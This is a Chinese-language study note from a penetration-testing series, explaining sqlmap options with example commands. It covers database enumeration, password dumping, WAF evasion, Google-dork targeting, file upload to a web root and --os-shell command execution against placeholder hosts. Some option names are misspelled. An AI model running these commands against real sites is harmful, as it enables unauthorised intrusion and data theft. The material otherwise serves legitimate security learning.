• 渗透测试学习 十三、 SQLmap使用详解


    SQLmap介绍

      sqlmap是一个由python语言编写的开源的渗透测试工具,它主要是检测SQL注入漏洞,是一款功能强大的SQL漏洞检测利用工具。

      他可以检测的数据库有:access、msSQL、MySQL、oracle、postgresql、SQLserver、db2、sqlite等

      可以进行SQL盲注、union查询、显错注入、延迟注入、post注入、cookie注入等,宽字节注入

      其他功能:执行命令、列举用户、检测权限、自动破解、数据导出等功能,过waf

    SQLmap安装

      需要python2.7的环境,在官网上下载下来直接解压就可以用,也可以将解压的文件放在python的安装路径下。

      kali里面是直接集成好的,无需安装,更新:sqlmap.py --update

      在Windows里面建议直接在官网上下载最新版的,不建议用命令更新。

    基本参数

      sqlmap.py -h  查看帮助选项

      --is-dba  当前用户权限

      --dbs  所有数据库

      --current-db  网站当前数据库

      --users  所有数据库用户

      --current-user  当前数据库用户

      --tables  参数:列表名

      --columns  参数:列字段

      --dump  参数:下载数据

      --dump-all  转存DBMS数据库所有表项目

      --level  测试等级(1-5),默认为1

      读取数据库-----读取表-----读取表的列-----获取内容

      -D  指定数据库

      -T  指定表

      -C  指定列

      --dnms=mysql  oracle  mssql  指定数据库

      --users  枚举所有用户

      --passwords  枚举所有用户密码

      --roles  列出数据库管理员角色

      --privileges  列出数据库管理员权限

      列出数据库系统的架构

      sqlmap.py -u "" --schema --batch --exclude-sysdbs

      --schema:列出系统架构

      --batch:无提示,一切默认

      --exclude-sysdbs:排除默认的系统数据库

    探测等级

      参数:--level

      共有5个等级,默认为1,sqlmap的payload在xml/payloads.xml中,也可以自己根据相应的格式添加。

      该参数不仅影响使用哪些payload,也会影响测试的注入点,GET和POST的数据都会测试

      HTTP Cookie在等级为2的时候才会测试;

      HTTP User-Agent/Referer头在等级为3的时候才进行检测

      总之在不确定哪个payload或参数为注入点时,为保证全面性,建议使用高的level值,一般建议为3

    显示调试信息

      -V  显示调试信息,共有7个级别

      0、  只显示python错误以及严重的信息

      1、  同意显示基本信息和警告信息(默认)

      2、  同时显示debug信息

      3、  同时显示注入的payload

      4、  同时显示HTTP请求

      5、  同时显示HTTP响应头

      6、  同时显示HTTP响应页面

    风险等级

      参数:--risk

      共有四个风险等级,默认是1,会测试大部分的测试语句,2会增加基于事件的测试语句,3会增加OR语句的SQL注入测试(逻辑判断语句)

      在有些时候,例如在UPDATE的语句中,注入一个OR的测试语句,有可能导致更新整个表,可能造成很大的风险

      测试语句在xml/payloads.xml中,也可以自己添加

    获取目标

      参数:-u或--url

      格式:http(s)://targetur[:post]/[..]

      e.g:sqlmap.py -u http://www.xx.com/news.php?id=1

      从文本中获取多个目标进行扫描

      参数:-m

      文件中保存url格式如下,sqlmap就会一个一个的逐行检测

      www.xx1.com/news1.php?q=foobar

      www.xx2.com/news2.php?id=1

      www/xx3.com/news3/id/1*

      e.g:sqlmap.py -m c:a.txt

    获取HTTP请求注入

      参数:-r

      sqlmap可以从一个文本文件中获取HTTP请求,这样就可以跳过设置一些其他参数。(如cookie、post数据等)多见于搜索型,登陆后的注入点

      e.g:sqlmap.py -r c:a.txt

    处理Google搜索结果

      参数:-g  需要挂代理

      sqlmap可以检测注入Google的搜索结果中的GET参数(只获取前100个结果)

      e.g:sqlmap.py -g "inurl:php?id="

    --data

      此参数是吧数据以POST方式提交,sqlmap会像检测GET参数一样检测POST参数

      e.g:sqlmap.py -u "" --data="id=1"

    --param-del

      当GET或POST的数据需要用其他字符分割测试参数的时候需要用到此参数(参数拆分字符)

      e.g:sqlmap.py -u "" --data="query=foobar;d=1" --param-del=";"  分号连接多个参数的连接

      e.g:index.php?id=1&sid=12&did=3  默认的sqlmap可识别

         index.php?id=1;sid=12;did=3  sqlmap无法识别,会认为是一个参数

    --cookie

      适用于cookie注入

      将参数加入cookie注入测试

      e.g:sqlmap.py -u "" --cookie "id=9" --table --level 2

    --referer

      sqlmap可以在请求中伪造HTTP中的referer,当--level参数设定为3或者3以上的时候回尝试对referer注入

    --headers

      可以通过--headers参数来增加额外的http头

      e.g:--headers "client-ip: 1.1.1.1'" --level 3

    --proxy

      使用该参数添加代理,格式为:http://url:port

      e.g:--proxy "http://127.0.0.1:8080"

    时间控制

      --delay

        可以设定两个HTTP(s)请求间的延迟,设定为0.5的时候半秒,默认是没有延迟(安全狗默认是1秒内不能访问10次)

      --timeout

        可以设定一个HTTP(s)请求超过多数判定为超时,10.5表示10.5秒,默认是30秒

      --retries

        当HTTP(S)超时时,可以设定重新连接次数,默认是3次,设定随机改变的参数值(设定重试超时)

    --safe-url,--safe-freq

      有的web应用程序会在你多次访问错误的请求时屏蔽掉你以后的所有的请求,这样在sqlmap进行检测的时候或者注入的时候可能造成错误请求二触发这个策略,导致以后的检测无法进行。

      绕过方法有两个:

        1、--safe-url:提供一个安全不错误的链接,每隔一段时间都会访问一下

        2、--safe-freq:提供一个安全不错误的链接,每次检测请求后都会再访问一下

    -P

      sqlmap默认测试所有的GET和POST参数,当--level的值丹玉等于2时也会检测HTTP Cookie头的值,当大于等于3时也会测试User-Agent和HTTP Referer头的值,但是需要手动用 -P

      参数设置想要测试的参数

      e.g:-P "id,user-anget"

         index.php?id&sid=2&did=3  有多个参数,但我们知道在sid处存在注入,那么我们就可以用-P指定  -P "sid=2"

    --prefix,--suffix

      有些环境中,需要再注入的payload的前面或后面加一些字符,来保证payload的正常执行。

      e.g:代码中是这样调用数据库的:

      $query="SELECT * FROM users WHERE id=('" &_GET['id']"') LIMIT 0,1";

      这时就需要--prefix和--suffix参数了:

      sqlmap.py -u "http://xx.xx.com/sqlmap/mysql/get_str_brackets.php?id=1" -P id --prefix "')" --suffix "AND (' abc'='anc"  闭合查询语句

      这样执行的SQL语句变为:

      $query="SELECT * FROM users WHERE id=('1') <PAYLOAD> AND ('abc'='abc') LIMIT 0,1";

    --technique

      这个参数可以指定sqlmap使用的探测技术,默认情况下会测试所有的方式

      支持的探测方式如下:

      B:Boolean-based blind SQL injection  (报错注入)

      E:Error-based SQL injection  (报错型注入)

      U:UNION query SQL injection  (可联合查询注入)

      S:Stacked queries SQL injection  (可多语句查询注入)

      T:Time-based blind SQL injection  (基于时间延迟注入)

      e.g:sqlmap.py -u "" --tech=UE

    --union-cols

      默认情况下sqlmap测试UNION查询注入会测试1-10个字段数,当--level为5的时候回增加测试到50个字段数,设定--union-cols的值应该是一段整数,如:12-16是测试12-16个字段数

    --union-char

      默认情况下sqlmap针对UNION查询的注入会使用NULL字符,但是有些清苦下会造成页面返回失败,而一个随机整数是成功的,这是可以用--union-char只定UNION查询的字符  --union-char "NULL"

    --second-order

      二阶注入,有些时候注入点输入的数据看返回结果的时候并不是当前的页面,而是另一个页面,这时候就需要你指定到哪个页面获取响应判断真假。  --second-order后门跟一个判断页面的URL地址

      --second-order "回显的页面URL"

    --dump-all.--exclude-sysdbs

      使用--dump=all参数获取所有数据库表的内容,可同时加上--exclude-sysdbs只获取用户数据库的表,需要注意在Microsoft SQL Server中master数据库没有考虑成为一个系统数据库,因为有的管理员会把他当初用户数据库一样来使用它

    --search,-C,-T,-D  

      可以在以下三种情况下使用:

      -C后跟着用逗号分割的列名,将搜索指定的列名

      -T后跟着用逗号分割的表名,将搜索指定的表名

      -D后跟着用逗号分割的库名,将搜索指定的库名

      --search -C "pwd" -D xycms

      1、模糊匹配  xy_pwd

      2、精准匹配  pwd

    --udf-inject,--shared-lib

      可以通过编译MySQL注入自定义的函数(UDFs)或PostgreSQL在Windows中共享库,DLL,或者Linux/Unix中共享对象,sqlmap将会问一些问题,上传到服务器库自定义函数,然后根据你的选择执行他们,当注入完成后,sqlmap将会移除他们

      在union联合查询时,若是root权限执行--os-shell命令时会让指定脚本类型,指定网站根目录,往里面上传文件,一个用来文件上传一个用来执行系统命令;

      若error查询时,是root权限执行--os-shell时就与union不同,就会用--udf(MySQL udf提权)。

    -s,-t

      参数:-s

      sqlmap对每一个目标都会再output路径下自动生成一个SQLite文件,如果用户想指定读取的文件路径,就是用这个参数保存HTTP(S)日志

      参数:-t

      这个参数需要跟一个文本文件,sqlmap会把HTTP(S)请求与响应的日志保存在那里。

     --batch

      时用参数时,不需要用户输入,会让sqlmap使用默认的形式一直运行下去

    --charset

      强制使用字符编码,不使用sqlmap自动识别的(如HTTP头中的Content-Type)字符编码,强制指定字符编码

      e.g:--charset=GBK

    --flush-session

      如果不想用之前缓存的目标session文件,可以使用该参数情况之前的session,重新测试该目标

    --hex

      有时字符编码的问题,可能导致数据丢失,可以使用hex函数来避免

      e.g:sqlmap.py -u "" --banner -hex -v 3 --parse-errors

    --output-dir

      sqlmap默认把session文件跟结果文件存在output文件下,用此参数可自定义输出路径

      e.g:--output-dir=/tmp

    --parse-errors

      从响应中获取DBMS的错误信息,有时目标没有关闭DBMS的报错,当数据库语句错误时,会输出错误语句,参数可以会显出错误信息

    --smart

      有时对目标非常多的URL进行测试,为节省时间,只对能够快速判断为注入的报错点进行注入

      e.g:sqlmap.py -u "" --batch -smart

    --mobile

      有时服务端只接收移动短的访问,此时可以设定一个手机的User-Agent来模仿手机登录

      e.g:sqlmap.py -u "" --mobile

    --identify-waf

      sqlmap可以尝试找出WAF/IPS/IDS保护,方便用户做出绕过方式

    --check-waf

      WAF/IPS/IDS保护会影响sqlmap测试,可用该参数测试sqlmap将会使用一个不存在的参数来注入测试

      e.g:sqlmap.py -u "" --identify-waf -v 3

    注册表操作

      当数据库为MySQL、postgresql或Microsoft SQL server,并且当前web应用支持堆查询,当前连接数据库的用户也需要有权限操作注册表

      读取注册表值

      参数:--reg-read

      写入注册表值

      参数:--reg-add

      删除注册表

      参数:--reg-del

      注册表辅助选项

      参数:--reg-key  --reg-value  --reg-data  --reg-type

      需要配合之前的三个参数使用

      e.g:sqlmap.py -u "http://192.168.1.1/sqlmap/pgsql/get_int.aspx?id=1" --reg-add --reg-key="HKEY_LOCAL_MACHINESOFTWAREsqlmap" --reg-vlaue=Test --reg-type=REG_SZ --reg-data=1

    暴力破解表名

      参数:--common-tables

      当使用--tables无法获取到数据库的表时,可以使用此参数

      通常情况下:

        1、MySQL数据库版本小于5.0,没有information_schema表

        2、数据库是Microsoft access,系统表MSysObjects是不可读的(默认)

        3、当前用户没有权限读取系统中保存数据结构的表的权限

      包里破解的表在txt/common-tables-txt文件中,也可以自行添加

      --common-tables -D testdb

      union、error型的用不到  时间盲注、access数据库、MySQL5.0以下的数据库会用到

    暴力破解列表

      参数:--common-columns

      在yxy/common-columns.txt中,也可以自行添加

      --common-columns -T text -D testdb

    POST登录框注入

      注入点:http://www.xx.com/Login.asp

      注入方法:sqlmap.py -r search-test.txt -p tfUPass  //search-test.txt请求包、tfUPass参数

           sqlmap.py -u "" --forms

           sqlmap.py -u "" --data "tfUName=1&tfUPass=1"

    伪静态注入

      注入点:http://www.xx.com/index.php/Index/view/id/40.html

      sqlmap.py -u "http://www.xx.com/index.php/Index/view/id=40*.html"

    延迟注入

      --time-sec=6  默认是5秒

    base64编码注入

      sqlmap.py -u "" --temper base64encode.py --dbs

    请求时间注入

      参数:--time-sec

      当时用继续时间的盲注时,使用--time-sec参数胡设定演示时间,默认5秒

    执行SQL语句

      --sql-query="select @@version"  单条执行一条语句

      --sql-shell  slqmap.py -u "" --sql-shell 回车,然后可执行多条语句,但是只能执行查询语句

      sqlmap会自动检查确定使用哪个SQL注入技术,如何插入检测语句,如果是SELECT查询语句,sqlmap将会输出结果,如果是通过SQL注入执行其他语句,需要测试是否支持多语句执行SQL语句

      select losd_file ('c:/inetpub/wwwroot/0881/index.asp');

      select "123" into outfile 'c:/1.txt';  不能执行这种语句

    文件读写

      从数据库服务器中读取文件 

      参数:--file-read

      当数据库为MySQL、postgresql或Microsoft SQL server,并且当前用户有权限使用特定的函数,读取的文件是文本也可以是二进制文件

      sqlmap.py -u "http://www.xx.com/article.php?lang=cn&id=22" --file-read="c:1.php" 

    文件上传

      参数:--file-write,file-dest

      当数据库为MySQL、postgresql或Microsoft SQL server,并且当前用户有权限使用特定的函数,读取的文件是文本也可以是二进制文件

      sqlmap.py -u "http://www.xx.com/article.php?id=5" --file-write="c:1.php" --file-dest "/ver/www/html/x.php"

    命令执行

      参数:--os-cmd,--os-shell

      当数据库为MySQL、postgresql或Microsoft SQL server,并且当前用户有权限使用特定的函数;在MySQL、postgresql、sqlmap上传一个二进制库,包含用户自定义的函数sys_exec()和sys_eval()

      cmd  执行cmd命令(win)

      shell  执行当前用户命令

      --os-shell

      自动上传脚本文件

      返回shell

    2019-05-07  15:52:12

  • 相关阅读:
    自动生成 Makefile 的全过程详解
    cpio实例讲解
    RPM命令手册
    SSHFS
    shell脚本命令行参数传递问题
    批量改名总结
    例解 autoconf 和 automake 生成 Makefile 文件
    Shell中的shift命令
    cpio命令详解
    Git笔记基础
  • 原文地址:https://www.cnblogs.com/Yuuki-/p/10825159.html
Copyright © 2020-2023  润新知